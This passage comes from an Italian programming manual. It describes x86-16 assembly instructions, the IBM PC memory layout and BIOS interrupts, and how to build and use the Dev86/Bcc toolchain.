`PUSHF`		*push flags onto stack* Inserisce nella pila l'insieme del registro degli indicatori (***FLAGS***). `push` ***FLAGS***	`c p a z s t i d o` `. . . . . . . . .`
`POPF`		*pop flags from stack* Estrae dalla pila l'insieme del registro degli indicatori (***FLAGS***), aggiornando di conseguenza il registro stesso. `pop` ***FLAGS***	`c p a z s t i d o` `? ? ? ? ? ? ? ? ?`
`ENTER`	***imm8***, 0	*enter stack frame* Questa funzione esiste a partire dai microprocessori i186. Inserisce nella pila il valore di ***BP***, poi assegna a ***BP*** il valore di ***SP*** e infine decrementa ***SP*** del valore fornito come immediato. Serve a predisporre ***BP*** e ***SP*** all'inizio di una funzione, specificando lo spazio necessario per le variabili locali nella pila. `push` ***BP*** ***BP***`:=`***SP*** ***SP***`:-=2*`***dst***	`c p a z s t i d o` `. . . . . . . . .`

Nome	Operandi: ***dst***, ***org1***, ***org2***	Descrizione	Indicatori
`PUSHA`		*push all registers onto stack* Questa funzione esiste a partire dai microprocessori i186. Inserisce nella pila i registri principali: ***AX***, ***CX***, ***DX***, ***BX***, ***SP***, ***BP***, ***SI***, ***DI***. `push` ***AX*** `push` ***CX*** `push` ***DX*** `push` ***BX*** `push` ***SP*** `push` ***BP*** `push` ***SI*** `push` ***DI***	`c p a z s t i d o` `. . . . . . . . .`
`POPA`		*pop all registers from stack* Questa funzione esiste a partire dai microprocessori i186. Ripristina i registri principali, estraendo i contenuti dalla pila: ***DI***, ***SI***, ***BP***, ***SP*** viene eliminato senza aggiornare il registro, ***BX***, ***DX***, ***CX***, ***AX***. Come si vede, anche se '**`PUSHA`**' salva l'indice della pila, in pratica questo indice non viene ripristinato. `pop` ***DI*** `pop` ***SI*** `pop` ***BP*** ***SP***`:+=2` `pop` ***BX*** `pop` ***DX*** `pop` ***CX*** `pop` ***AX***	`c p a z s t i d o` `. . . . . . . . .`
`LEAVE`		*leave stack frame* Questa funzione esiste a partire dai microprocessori i186. Ripristina i valori di ***BP*** e di ***SP***, allo stato che avevano prima dell'uso dell'istruzione '**`ENTER`**'. ***SP***`:=`***BP*** `pop` ***BP***	`c p a z s t i d o` `. . . . . . . . .`

Tabella 94.23. Interruzioni.

Nome	Operandi: ***dst***, ***org1***, ***org2***	Descrizione	Indicatori

`INT`	***imm8***	*call to interrupt*
		Esegue una chiamata attraverso un'interruzione.
		Prima di saltare alla codice relativo all'interruzione selezionata, inserisce nella pila ***FLAGS***, ***CS*** e ***IP***. Azzera anche l'indicatore ***IF*** (*interrupt flag*), mentre gli altri indicatori rimangono inalterati.
		`pusf`
		`push` ***CS***
		`push` ***IP***
		i`:=0`
		`jmp far 0:(`***operand***`·4)`
			`c p a z s t i d o`
			`. . . . . . . . .`

`IRET`		*return from interrupt* Conclude l'esecuzione del codice relativo a un'interruzione recuperando dalla pila i valori inseriti alla chiamata con '**`INT`**': ***IP***, ***CS*** e ***FLAGS***. Pertanto, il valore degli indicatori viene ripristinato allo stato precedente alla chiamata. `pop` ***IP*** `pop` ***CS*** `popf`	`c p a z s t i d o` `# # · # # · · · #`
`CLI`		*clear interrupt flag* Azzera l'indicatore di abilitazione delle interruzioni (*interrupt flag*), disabilitando di conseguenza le interruzioni hardware. ***i***`:=0`	`c p a z s t i d o` `. . . . . . 0 . .`
`STI`		*set interrupt flag* Attiva l'indicatore di abilitazione delle interruzioni (*interrupt flag*), abilitando di conseguenza le interruzioni hardware. ***i*** `:= 1`	`c p a z s t i d o` `. . . . . . 1 . .`
`HLT`		*enter halt state* Ferma il sistema, fino a quando viene ricevuta un'interruzione hardware.	`c p a z s t i d o` `. . . . . . . . .`

`INTO`		*interrupt if overflow*
		Se l'indicatore di straripamento è attivo, esegue la chiamata dell'interruzione numero 4 (la quale dovrebbe gestore il problema).
			`c p a z s t i d o`
			`. . . . . . . . t`
			`. . . . . . . . .`

Tabella 94.24. Indicatori e confronti tra registri.

Nome	Operandi: ***dst***, ***org1***, ***org2***	Descrizione	Indicatori
`CLC`		*clear carry flag* Azzera l'indicatore del riporto (*carry*), senza intervenire negli altri indicatori. ***c*** **:**`=0`	`c p a z s t i d o` `0 · · · · · · · ·`
`CLD`		*clear direction flag* Azzera l'indicatore di direzione (*direction*), senza intervenire negli altri indicatori. ***d*** **:**`=0`	`c p a z s t i d o` `· · · · · · · 0 ·`
`STC`		*set carry flag* Attiva l'indicatore di riporto (*carry*). ***c*** **:**`=1`	`c p a z s t i d o` `1 · · · · · · · ·`
`STD`		*set direction flag* Attiva l'indicatore di direzione (*direction*). ***d*** **:**`=1`	`c p a z s t i d o` `· · · · · · · 1 ·`
`CMC`		*complement carry flag* Inverte il valore dell'indicatore del riporto (*carry*).	`c p a z s t i d o` `# · · · · · · · ·`
`CMP`	***reg***, ***reg*** ***reg***, ***mem*** ***reg***, ***imm*** ***mem***, ***reg*** ***mem***, ***imm***	*compare operands* Confronta due valori interi. La comparazione avviene simulando la sottrazione dell'origine dalla destinazione, senza però modificare gli operandi, ma aggiornando gli indicatori, come se fosse avvenuta una sottrazione vera e propria. ***dst*** − ***org***	`c p a z s t i d o` `# # · # # · · · #`
`TEST`	***reg***, ***reg*** ***reg***, ***imm*** ***mem***, ***reg*** ***mem***, ***imm***	*logical compare* AND dei due valori senza conservare il risultato. Serve solo a ottenere l'aggiornamento degli indicatori. ***dst*** `AND` ***org***	`c p a z s t i d o` `0 # · # # · · · 0`

Tabella 94.25. Salti.

Nome	Operandi: ***dst***, ***org1***, ***org2***	Descrizione	Indicatori
`JMP`	***reg*** ***mem*** ***imm***	*jump* Salto incondizionato all'indirizzo indicato, che si intende relativo al segmento codice (***CS***). ***IP*** **:**=***operand***	`c p a z s t i d o` `· · · · · · · · ·`

Nome	Operandi: ***dst*, *org1*, *org2***	Descrizione	Indicatori
`JMP FAR`	***imm*:*imm***	*far jump* Salto incondizionato all'indirizzo indicato, costituito sia dal segmento codice, sia dall'indirizzo relativo, all'interno di questo. ***CS*:*IP*:=*operand***	`c p a z s t i d o` `. . . . . . . . .`
`JA` `JNBE`	***imm***	*conditional jump* Dopo un confronto di valori senza segno, salta se la destinazione era maggiore dell'origine. Il salto riguarda solo l'ambito del segmento codice attuale. `CMP` ***dst*, *org*** `IF` ***dst*** `>` ***org*** `THEN` `go to` ***imm***	`c p a z s t i d o` `t · · t · · · · ·`
`JAE` `JNB`	***imm***	*conditional jump* Dopo un confronto di valori senza segno, salta se la destinazione era maggiore o uguale all'origine. Il salto riguarda solo l'ambito del segmento codice attuale. `CMP` ***dst*, *org*** `IF` ***dst*** `>=` ***org*** `THEN` `go to` ***imm***	`c p a z s t i d o` `t · · t · · · · ·`
`JB` `JNAE`	***imm***	*conditional jump* Dopo un confronto di valori senza segno, salta se la destinazione era minore dell'origine. Il salto riguarda solo l'ambito del segmento codice attuale. `CMP` ***dst*, *org*** `IF` ***dst*** `<` ***org*** `THEN` `go to` ***imm***	`c p a z s t i d o` `t · · t · · · · ·`
`JBE` `JNA`	***imm***	*conditional jump* Dopo un confronto di valori senza segno, salta se la destinazione era minore o uguale all'origine. Il salto riguarda solo l'ambito del segmento codice attuale. `CMP` ***dst*, *org*** `IF` ***dst*** `<=` ***org*** `THEN` `go to` ***imm***	`c p a z s t i d o` `t · · t · · · · ·`

Nome	Operandi: ***dst***, ***org1***, ***org2***	Descrizione	Indicatori
`JE`	***imm***	*conditional jump* Dopo un confronto, indipendentemente dal segno, salta se la destinazione era uguale all'origine. Il salto riguarda solo l'ambito del segmento codice attuale. `CMP` ***dst*****,** ***org*** `IF` ***dst*** `==` ***org*** `THEN` `go to` ***imm***	`c p a z s t i d o` `. . . t . . . . .`
`JNE`	***imm***	*conditional jump* Dopo un confronto, indipendentemente dal segno, salta se la destinazione era diversa dall'origine. Il salto riguarda solo l'ambito del segmento codice attuale. `CMP` ***dst*****,** ***org*** `IF` ***dst*** `!=` ***org*** `THEN` `go to` ***imm***	`c p a z s t i d o` `. . . t . . . . .`
`JG` `JNLE`	***imm***	*conditional jump* Dopo un confronto con segno, salta se la destinazione era maggiore dell'origine. Il salto riguarda solo l'ambito del segmento codice attuale. `CMP` ***dst*****,** ***org*** `IF` ***dst*** `>` ***org*** `THEN` `go to` ***imm***	`c p a z s t i d o` `. . . t t . . . t`
`JGE` `JNL`	***imm***	*conditional jump* Dopo un confronto con segno, salta se la destinazione era maggiore o uguale all'origine. Il salto riguarda solo l'ambito del segmento codice attuale. `CMP` ***dst*****,** ***org*** `IF` ***dst*** `>=` ***org*** `THEN` `go to` ***imm***	`c p a z s t i d o` `. . . t t . . . t`
`JL` `JNGE`	***imm***	*conditional jump* Dopo un confronto con segno, salta se la destinazione era minore dell'origine. Il salto riguarda solo l'ambito del segmento codice attuale. `CMP` ***dst*****,** ***org*** `IF` ***dst*** `<` ***org*** `THEN` `go to` ***imm***	`c p a z s t i d o` `. . . t t . . . t`

Nome	Operandi: ***dst***, ***org1***, ***org2***	Descrizione	Indicatori
`JLE` `JNG`	***imm***	*conditional jump* Dopo un confronto con segno, salta se la destinazione era minore o uguale all'origine. Il salto riguarda solo l'ambito del segmento codice attuale. `CMP` ***dst***, ***org*** `IF` ***dst*** `<=` ***org*** `THEN` `go to` ***imm***	`c p a z s t i d o` `· · · t t · · · t`
`JC` `JNC`	***imm***	*conditional jump* Salta se l'indicatore del riporto (*carry*), rispettivamente, è attivo, oppure non è attivo. Il salto riguarda solo l'ambito del segmento codice attuale.	`c p a z s t i d o` `t · · · · · · · ·`
`JO` `JNO`	***imm***	*conditional jump* Salta se l'indicatore di traboccamento (*overflow*), rispettivamente, è attivo, oppure non è attivo.	`c p a z s t i d o` `· · · · · · · · t`
`JS` `JNS`	***imm***	*conditional jump* Salta se l'indicatore di segno (*sign*), rispettivamente, è attivo, oppure non è attivo.	`c p a z s t i d o` `· · · · t · · · ·`
`JZ` `JNZ`	***imm***	*conditional jump* Salta se l'indicatore di zero, rispettivamente, è attivo, oppure non è attivo.	`c p a z s t i d o` `· · · t · · · · ·`
`JP` `JPE`	***imm***	*conditional jump* Salta se l'indicatore di parità è attivo.	`c p a z s t i d o` `· t · · · · · · ·`
`JNP` `JPO`	***imm***	*conditional jump* Salta se l'indicatore di parità non è attivo.	`c p a z s t i d o` `· t · · · · · · ·`
`JCXZ`	***imm***	*conditional jump* Salta se il valore contenuto nel registro ***CX*** è pari a zero.	`c p a z s t i d o` `· · · · · · · · ·`

Tabella 94.26. Iterazioni

Nome	Operandi: ***dst***, ***org1***, ***org2***	Descrizione	Indicatori
`LOOP`	***imm8***	*loop* Senza alterare gli indicatori, decrementa di una unità il registro '**`CX`**', quindi, se il registro è ancora diverso da zero, salta all'indirizzo cui fa riferimento l'operando. Tale indirizzo non può essere molto lontano dalla posizione corrente.	`c p a z s t i d o` `· · · · · · · · ·`

Nome	Operandi: ***dst***, ***org1***, ***org2***	Descrizione	Indicatori
`LOOPE` `LOOPZ`	***imm8***	*conditional loop* Senza alterare gli indicatori, decrementa di una unità il registro '`CX`', quindi, se il registro è ancora diverso da zero e l'indicatore «zero» è attivo, salta all'indirizzo cui fa riferimento l'operando. Tale indirizzo non può essere molto lontano dalla posizione corrente.	`c p a z s t i d o` `. . . t . . . . .`
`LOOPNE` `LOOPNZ`	***imm8***	*conditional loop* Senza alterare gli indicatori, decrementa di una unità il registro '`CX`', quindi, se il registro è ancora diverso da zero e l'indicatore «zero» non è attivo, salta all'indirizzo cui fa riferimento l'operando. Tale indirizzo non può essere molto lontano dalla posizione corrente.	`c p a z s t i d o` `. . . t . . . . .`

Tabella 94.27. Input e output.

Nome	Operandi: ***dst***, ***org1***, ***org2***	Descrizione	Indicatori
`IN`	***AL***, ***imm8*** ***AX***, ***imm8***	*input* Assegna a ***AL*** o ***AX*** il valore letto dalla porta specificata; in tal caso il numero di porta non può essere superiore a 255.	`c p a z s t i d o` `. . . . . . . . .`
`IN`	***AL***, ***DX*** ***AX***, ***DX***	*input* Assegna a ***AL*** o ***AX*** il valore letto dalla porta specificata da ***DX***; in tal caso il numero di porta può essere superiore a 255.	`c p a z s t i d o` `. . . . . . . . .`
`OUT`	***imm8***, ***AL*** ***imm8***, ***AX***	*output* Scrive nella porta specificata il valore contenuto in ***AL*** o ***AX***; in tal caso il numero di porta non può essere superiore a 255.	`c p a z s t i d o` `. . . . . . . . .`
`OUT`	***DX***, ***AL*** ***DX***, ***AX***	*output* Scrive nella porta indicata da ***DX*** il valore contenuto in ***AL*** o ***AX***; in tal caso il numero di porta può essere superiore a 255.	`c p a z s t i d o` `. . . . . . . . .`

94.1.7 Sostituzione delle istruzioni per i186

Nella sezione precedente sono state menzionate delle istruzioni che non fanno parte dei microprocessori 8086/8088, ma queste possono essere ottenute facilmente attraverso altre istruzioni elementari, tanto che l'assemblatore potrebbe provvedervi direttamente. A ogni modo viene annotato qui come possono essere sostituite.

Listato 94.28. Sostituzione per l'istruzione '**PUSHA**'.

```
push ax
push cx
push dx
push bx
push sp
push bp
push si
push di
```

Listato 94.29. Sostituzione per l'istruzione '**POPA**'. Il registro ***SP*** non viene ripristinato, di conseguenza si riduce l'indice della pila (si incrementa ***SP***) senza estrarne il valore.

```
pop di
pop si
pop bp
add sp, 2       ; non ripristina SP
pop bx
pop dx
pop cx
pop ax
```

Listato 94.30. Sostituzione per l'istruzione '**ENTER**'. La riduzione di ***SP*** dipende dalla quantità di variabili locali che si vogliono gestire. Usando interi da 16 bit, si tratta di moltiplicare la quantità di variabili locali per due. Va ricordato che il segmento a cui si riferisce ***BP*** è ***DS***, per cui è indispensabile che ***DS*** sia uguale a ***SS***, essendo usato in questo modo come riferimento alla pila.

```
push bp
mov  bp, sp
sub  sp, 2      ; 0, 2, 4, 6,...
```

Listato 94.31. Sostituzione per l'istruzione '**LEAVE**'.

```
mov sp, bp
pop bp
```

94.2 Architettura IBM PC

L'architettura del vecchio IBM PC prevede 1 Mibyte di memoria, in cui alcune fasce hanno degli scopi particolari e non possono essere utilizzate diversamente. Quando si programma a 32 bit, di norma si dispone, in proporzione, di una quantità enorme di memoria, per cui di solito lo spazio inferiore a 1 Mibyte viene semplicemente ignorato e si considera solo lo spazio successivo; ma se la programmazione avviene a 16 bit, si deve operare in quello spazio ristretto.

Buona parte della memoria di un elaboratore conforme all'architettura del IBM PC è impegnata per il codice del BIOS, in cui sono contenute diverse routine attivate da interruzioni, hardware o software. Nella limitazione dell'architettura originale, il sistema offerto di gestione delle interruzioni consentirebbe un utilizzo uniforme dell'hardware.

Figura 94.32. Mappa generale della memoria.

00000_{16} 00400_{16} 00500_{16} $A0000_{16}$ $C0000_{16}$ $F0000_{16}$ 100000_{16}

IVT *interrupt vector table* | *BIOS data area* | memoria utilizzabile | dati extra del BIOS | memoria video | video ROM | | ROM BIOS

94.2.1 IVT: «interrupt vector table»

I microprocessori x86-16 utilizzano una tabella delle interruzioni collocata nella prima parte della memoria, a partire dall'indirizzo 0. La tabella è nota con la sigla IVT, ovvero *Interrupt vector table*.

Le voci della tabella IVT sono costituite semplicemente da due informazioni: l'indirizzo di segmento e lo scostamento in cui l'interruzione rispettiva viene gestita, attraverso del codice appropriato. Va osservato però che appare prima lo scostamento e poi il segmento.

Figura 94.33. Tabella IVT in memoria.

Indirizzo	16 bit	16 bit		
00000_{16}	scostamento	segmento	interrupt 0	1024 byte
00004_{16}	scostamento	segmento	interrupt 1	
00008_{16}	scostamento	segmento	interrupt 2	
$0000C_{16}$	scostamento	segmento	interrupt 3	
	...			
$003F8_{16}$	scostamento	segmento	interrupt 254	
$003FC_{16}$	scostamento	segmento	interrupt 255	
00400_{16}				

Supponendo sia n il numero di un'interruzione, si ottiene l'indirizzo della routine di interruzione con un calcolo molto semplice: lo scostamento è disponibile all'indirizzo $n \times 4$; il segmento è disponibile all'indirizzo $n \times 4+2$.

Solo una porzione delle voci della tabella è utilizzata in modo predefinito, mentre le altre sono disponibili per interruzioni aggiuntive a uso del sistema operativo. In ogni caso, tutta la tabella può essere modificata, in modo da dirigere le interruzioni a codice alternativo.

Tabella 94.34. Configurazione iniziale della tabella IVT, secondo l'architettura IBM PC.

Interruzione	Descrizione
00_{16}	Eccezione del microprocessore: *divide error*.
01_{16}	Eccezione del microprocessore: *debug*.
02_{16}	Eccezione del microprocessore: *non maskable interrupt*.
03_{16}	Eccezione del microprocessore: *breakpoint*.
04_{16}	Eccezione del microprocessore: *arithmetic overflow*.
05_{16}	BIOS: il tasto [*Stampa*] o [*Print_Screen*] è stato premuto.
06_{16}	Eccezione del microprocessore: *invalid opcode*.
07_{16}	Eccezione del microprocessore: *no coprocessor*.
08_{16}	Interruzione hardware: IRQ 0, temporizzatore.
09_{16}	Interruzione hardware: IRQ 1, tastiera.
$0A_{16}$	Interruzione hardware: IRQ 2.
$0B_{16}$	Interruzione hardware: IRQ 3.
$0C_{16}$	Interruzione hardware: IRQ 4.
$0D_{16}$	Interruzione hardware: IRQ 5.
$0E_{16}$	Interruzione hardware: IRQ 6.
$0F_{16}$	Interruzione hardware: IRQ 7.
10_{16}	BIOS: video.
11_{16}	BIOS: controllo dell'apparecchiatura.
12_{16}	BIOS: memoria disponibile.
13_{16}	BIOS: unità a disco.
14_{16}	BIOS: porte seriali.
15_{16}	BIOS: funzioni varie.
16_{16}	BIOS: tastiera.
17_{16}	BIOS: porte parallele.
18_{16}	BIOS: interprete BASIC in ROM.
19_{16}	BIOS: riavvio.
$1A_{16}$	BIOS: orologio.
$1B_{16}$	BIOS: tasto [*Interr*] o [*Break*].
$1C_{16}$	BIOS: temporizzatore.
$1D_{16}$	BIOS: inizializzazione video.
$1E_{16}$	BIOS: inizializzazione gestione dischi.
$1F_{16}$	BIOS: caratteri del video.

Quando si costruisce una procedura da associare a una voce della tabella delle interruzioni, occorre considerare che prima che la procedura stessa sia raggiunta, il microprocessore inserisce nella pila delle informazioni. Nello specchietto successivo si mettono a confronto le istruzioni relative alle chiamate di interruzioni e di procedure comuni:

`int`	`call far`	`call`

`pushf`
`push cs`
`push ip`
	`push cs`
	`push ip`
		`push ip`

`iret`	`retf`	`ret`

`pop ip`
`pop cs`
`popf`
	`pop ip`
	`pop cs`
		`pop ip`

94.2.2 BIOS data area

Dopo la tabella IVT, a partire dall'indirizzo 00400_{16} e fino a $004FF_{16}$ incluso, si trova un'area di memoria utilizzata dal BIOS, per annotarvi delle informazioni. Alla fine del capitolo sono riportati i riferimenti alla documentazione che consente di interpretare il contenuto di questa area, ma quello che conta sapere è che non ci si deve scrivere, a meno di impedire alle funzioni del BIOS di operare correttamente.

94.2.3 Altre aree di memoria

A partire dall'indirizzo $A0000_{16}$, fino a $BFFFF_{16}$ incluso, si trova la memoria usata per rappresentare i dati sullo schermo. Successivamente ci sono altre aree di memoria in sola lettura (un'area precedente all'indirizzo $F0000_{16}$ potrebbe essere priva di qualunque cosa) in particolare il blocco da $F0000_{16}$ a $FFFFF_{16}$ che contiene le procedure del BIOS.

In pratica, a parte la possibilità di scrivere direttamente nella memoria video, per ottenere la rappresentazione del testo sullo schermo, la memoria da $A0000_{16}$ fino alla fine, non può essere utilizzata, ma rimane incerta una porzione di memoria antecedente l'indirizzo $A0000_{16}$ che potrebbe essere utilizzata anch'essa dalle procedure che compongono il BIOS.

Per conoscere l'ammontare di memoria libera si può leggere il valore contenuto all'indirizzo 00413_{16}, nell'ambito della *BIOS data area*, tenendo conto che si tratta di un numero a 16 bit. Quel valore indica la quantità di memoria utile, espressa in multipli di 1 024 byte, ma occorre considerare che si può utilizzare solo a partire dall'indirizzo 00500_{16}, ovvero dalla fine della BDA. In alternativa, si può chiamare l'interruzione 12_{16}, ottenendo dal registro ***AX*** tale valore.

94.2.4 Interruzioni principali

Il BIOS di un elaboratore IBM PC offre una serie di funzionalità, attraverso delle interruzioni, le quali possono essere utilizzate in mancanza di funzioni più sofisticate del sistema operativo. Il testo di riferimento per le interruzioni, del BIOS e dei sistemi operativi che le estendono, è quello di Ralf Brown, annotato alla fine del capitolo. Nelle sezioni successive vengono descritte solo alcune interruzioni offerte esclusivamente da BIOS standard.

94.2.4.1 INT 10_{16}/AH=00_{16} «set video mode»

Definisce la modalità di funzionamento del video. A seconda della modalità scelta, si possono usare una o più «pagine» distinte.

Parametro	Descrizione
AH	00_{16}
AL	Modalità video: 00_{16} testo, 40×25 caratteri, 16 colori, 8 pagine; 03_{16} testo, 80×25 caratteri, 16 colori, 4 pagine.

94.2.4.2 INT 10_{16}/AH=05_{16} «select active display page»

Seleziona la pagina video attiva. La numerazione parte da zero e la quantità di pagine disponibili dipende dalla modalità scelta.

Parametro	Descrizione
AH	05_{16}
BH	Pagina video da selezionare.

94.2.4.3 INT 10_{16}/AH=$0E_{16}$ «teletype output»

Mostra un carattere sullo schermo, alla pagina specificata, facendo avanzare il cursore e facendo scorrere il testo precedente se necessario. In questa modalità di visualizzazione, i caratteri con funzioni speciali vengono interpretati secondo la tradizione, tenendo conto che <*CR*> riporta il cursore all'inizio della stessa riga e che <*LF*> fa avanzare alla riga successiva, ma senza riportare il cursore all'inizio.

Parametro	Descrizione
AH	$0E_{16}$
AL	Carattere da rappresentare.
BL	Numero della pagina video.

94.2.4.4 INT 12_{16} «get memory size»

Restituisce la dimensione della memoria utilizzabile, partendo dall'indirizzo 00000_{16}, espressa in multipli di 1 024 byte. La memoria utilizzabile effettivamente inizia solo a partire dall'indirizzo 00500_{16}. Eventualmente lo stesso valore sarebbe accessibile all'indirizzo 00413_{16}, leggendo un numero da 16 bit.

Valore restituito	Descrizione
AX	Dimensione della memoria disponibile.

94.2.4.5 INT 13_{16}/AH=00_{16} «reset disk system»

Azzera il sistema di gestione dei dischi, per l'unità indicata. L'unità è un numero da zero in su per i dischetti, mentre per i dischi fissi si parte da 80_{16} in su.

Parametro	Descrizione
AH	00_{16}
DL	Numero dell'unità da azzerare.

Valore restituito	Descrizione
AH	Stato: zero indica un risultato soddisfacente, altrimenti si tratta di un errore.
c (*carry*)	Zero se ***AH*** è pari a zero; altrimenti, in presenza di un errore, l'indicatore viene attivato.

94.2.4.6 INT 13_{16}/AH=02_{16} «read disk sectors into memory»

Legge uno o più settori dal disco alla memoria. Il numero del cilindro in cui si trova il settore iniziale viene indicato utilizzando il registro ***CH*** per gli otto bit meno significativi, mentre si aggiungono altri due bit, più significativi, dal registro ***CL***.

L'unità è un numero da zero in su per i dischetti, mentre per i dischi fissi si parte da 80_{16} in su.

Parametro	Descrizione
AH	02_{16}
DL	Numero dell'unità da cui leggere.
AL	Quantità di settori da leggere (deve essere maggiore di zero).
CH, ***CL***bit6, ***CL***bit7	Numero del cilindro del primo settore da leggere, costituito dai bit 7 e 6 del registro ***DL*** e dal registro ***CL*** (da ***0*** a 1023).
CLbit0..***CL***bit5	Numero del settore, relativo alla traccia, intesa come combinazione di cilindro e testina (da 1 a 63).
DH	Numero della testina (da 0 a 63, perché i due bit più significativi potrebbero essere attribuiti ad altre funzioni).
ES:***BX*** (***ES*16+BX***)	Puntatore all'area di memoria che deve ricevere i settori letti.

Valore restituito	Descrizione
AH	Stato: zero indica un risultato soddisfacente, altrimenti si tratta di un errore.
c (*carry*)	Zero se ***AH*** è pari a zero; altrimenti, in presenza di un errore, l'indicatore viene attivato.
AL	In presenza di un errore, riporta la quantità di settori letti correttamente.

94.2.4.7 INT 13_{16}/AH=03_{16} «write disk sectors»

Scrive uno o più settori dalla memoria nel disco. Il numero del cilindro in cui si trova il settore iniziale viene indicato utilizzando il registro ***CH*** per gli otto bit meno significativi, mentre si aggiungono altri due bit, più significativi, dal registro ***CL***.

L'unità è un numero da zero in su per i dischetti, mentre per i dischi fissi si parte da 80_{16} in su.

Parametro	Descrizione
AH	03_{16}
DL	Numero dell'unità in cui scrivere.
AL	Quantità di settori da scrivere (deve essere maggiore di zero).
CH, ***CL***bit6, ***CL***bit7	Numero del cilindro del primo settore da scrivere, costituito dai bit 7 e 6 del registro ***DL*** e dal registro ***CL*** (da ***0*** a 1023).
CLbit0..***CL***bit5	Numero del settore, relativo alla traccia, intesa come combinazione di cilindro e testina (da 1 a 63).
DH	Numero della testina (da 0 a 63, perché i due bit più significativi potrebbero essere attribuiti ad altre funzioni).
ES:***BX*** (***ES*16+BX***)	Puntatore all'area di memoria da cui trarre i dati per la scrittura dei settori.

Valore restituito	Descrizione
AH	Stato: zero indica un risultato soddisfacente, altrimenti si tratta di un errore.
c (*carry*)	Zero se ***AH*** è pari a zero; altrimenti, in presenza di un errore, l'indicatore viene attivato.
AL	In presenza di un errore, riporta la quantità di settori scritti correttamente.

94.2.4.8 INT 16_{16}/AH=00_{16} «get keystroke from keyboard»

Legge un valore inserito dalla tastiera, eliminandolo dalla memoria tampone associata.

Parametro	Descrizione
AH	00_{16}

Valore restituito	Descrizione
AH	Il valore letto, secondo il codice usato dal BIOS.
AL	Il valore letto, tradotto in un carattere ASCII.

94.2.4.9 INT 16_{16}/AH=01_{16} «check for keystroke in the keyboard buffer»

Legge un valore inserito dalla tastiera, ma senza eliminarlo dalla memoria tampone associata.

Parametro	Descrizione
AH	01_{16}

Valore restituito	Descrizione
z (*zero*)	Zero se la lettura è avvenuta con successo; altrimenti, se la memoria tampone è vuota, l'indicatore risulta attivato.
AH	Il valore letto, secondo il codice usato dal BIOS.
AL	Il valore letto, tradotto in un carattere ASCII.

94.3 Strumenti di sviluppo e di utilizzo

Per chi si avvale di un sistema operativo GNU, gli strumenti per sviluppare codice per x86-16 sono costituiti dalla raccolta nota con il nome Dev86, la quale mette assieme il compilatore C Bcc,[1] l'assemblatore As86 e il «collegatore» Ld86, oltre a una libreria C adatta per produrre applicazioni per ELKS (*Embeddable Linux kernel subset*).

Considerato che strumenti del genere sono utili, presumibilmente, per realizzare un programma autonomo (*stand alone*) o il kernel di un sistema operativo, un programma di avvio facilita molto il lavoro e consente di concentrare l'attenzione su ciò che si vuole realizzare veramente. Per questo motivo, nel capitolo viene anche preso in considerazione Bootblocks per l'avvio di un sistema operativo da dischetti con file system Minix 1.

94.3.1 Preparazione

In una distribuzione GNU/Linux Debian sono disponibili i pacchetti '**`bcc`**', '**`bin86`**' e '**`elks-libc`**' che forniscono il necessario per la compilazione, ma in un altro sistema GNU può essere necessario procurarsi il pacchetto sorgente Dev86, dal quale si ottiene ciò che serve.

Se si è costretti a partire dai sorgenti di Dev86, una volta scaricato il pacchetto, questo può essere espanso in una directory qualunque nell'elaboratore GNU, come mostrato dall'esempio seguente, dove però, successivamente, si possano acquisire i privilegi dell'utente '**`root`**':

$ **`tar xzvf Dev86src-0.16.17.tar.gz`** [*Invio*]

Si ottiene la directory '`dev86-0.16.17/`' che si articola ulteriormente. Terminata l'installazione occorre compilare questi sorgenti e installarli. In questo caso si prevede di installare Dev86 a partire da '`/opt/dev86/`':

$ **cd dev86-0.16.17** [*Invio*]

$ **make PREFIX=/opt/dev86/** [*Invio*]

Viene richiesto di intervenire su alcuni indicatori (*flag*); in generale dovrebbe andare bene ciò che viene proposto in modo predefinito:

```
  1) (ON)    Library of bcc helper functions
  2) (ON)    Minimal syscalls for BIOS level
  3) (ON)    Unix error functions
  4) (ON)    Management for /etc/passwd /etc/group /etc/utmp
  5) (OFF)   Linux-i386 system call routines GCC
  6) (ON)    GNU termcap routines
  7) (ON)    Bcc 386 floating point
  8) (ON)    Linux-i386 system call routines
  9) (ON)    Example kernel include files and syscall.dat
 10) (ON)    Malloc routines
 11) (ON)    Various unix lib functions
 12) (ON)    Msdos system calls
 13) (ON)    Regular expression lib
 14) (ON)    Stdio package
 15) (ON)    String and memory manipulation
 16) (ON)    Linux-8086 system call routines
 17) (ON)    Termios functions
 18) (ON)    Unix time manipulation functions.
```

Select config option to flip [or quit] > **quit** [*Invio*]

Al termine della compilazione si passa all'installazione, cominciando dalla creazione della directory '`/opt/dev86/`'. Per fare questo occorrono i privilegi dell'utente '**`root`**':

$ **su** [*Invio*]

...

mkdir -p /opt/dev86 [*Invio*]

make install [*Invio*]

94.3.2 Bcc

Bcc[2] è un compilatore C tradizionale, ovvero fatto per la vecchia sintassi, nota con la sigla K&R. Tuttavia, con l'ausilio di un programma esterno (di norma si tratta di Unproto di Wietse Venema, incluso nella distribuzione Dev86), può compilare sorgenti scritti nella forma di un C standard, pur non potendo disporre di tutte le funzionalità di un compilatore aggiornato.

bcc [*opzioni*] *file_c*...

Tabella 94.52. Alcune opzioni per l'uso di Bcc.

Opzione	Descrizione
`-ansi`	Si avvale di un programma esterno per poter accettare un sorgente scritto secondo le convenzioni attuali del linguaggio C, pur nei limiti di quanto Bcc può poi elaborare.
`-0`	Produce un codice adatto per CPU 8086/8088.
`-S`	Produce un file in linguaggio assemblatore, da usare poi con l'assemblatore As86. In mancanza dell'opzione '**-S**' o '**-c**', si ottiene direttamente un file eseguibile, con l'intervento automatico di As86 e di Ld86.
`-c`	Produce un file oggetto, da utilizzare poi con il collegatore Ld86. In mancanza dell'opzione '**-S**' o '**-c**', si ottiene direttamente un file eseguibile, con l'intervento automatico di As86 e di Ld86.
`-o` ***nome***	Produce un file con il nome specificato.
`-I`	Non utilizza i percorsi predefiniti per l'inclusione dei file di intestazione.
`-I`***percorso***	L'opzione '**-I**', a cui si attacca un percorso, aggiunge quel percorso a quelli usati per l'inclusione dei file di intestazione. Possono essere specificati più percorsi ripetendo l'uso dell'opzione.

L'esempio seguente mostra la compilazione del file '`mio.c`', per produrre il file '`mio.s`', contenente il codice in linguaggio assemblatore. Per la compilazione, i file di intestazione vengono cercati esclusivamente in percorsi stabiliti: '`../include`' e '`../../include`'.

$ **bcc -ansi -0 -S -o mio.s -I -I../include -I../../include mio.c** [*Invio*]

L'esempio successivo è simile, ma si produce il file oggetto '`mio.o`':

$ **bcc -ansi -0 -c -o mio.s -I -I../include -I../../include mio.c** [*Invio*]

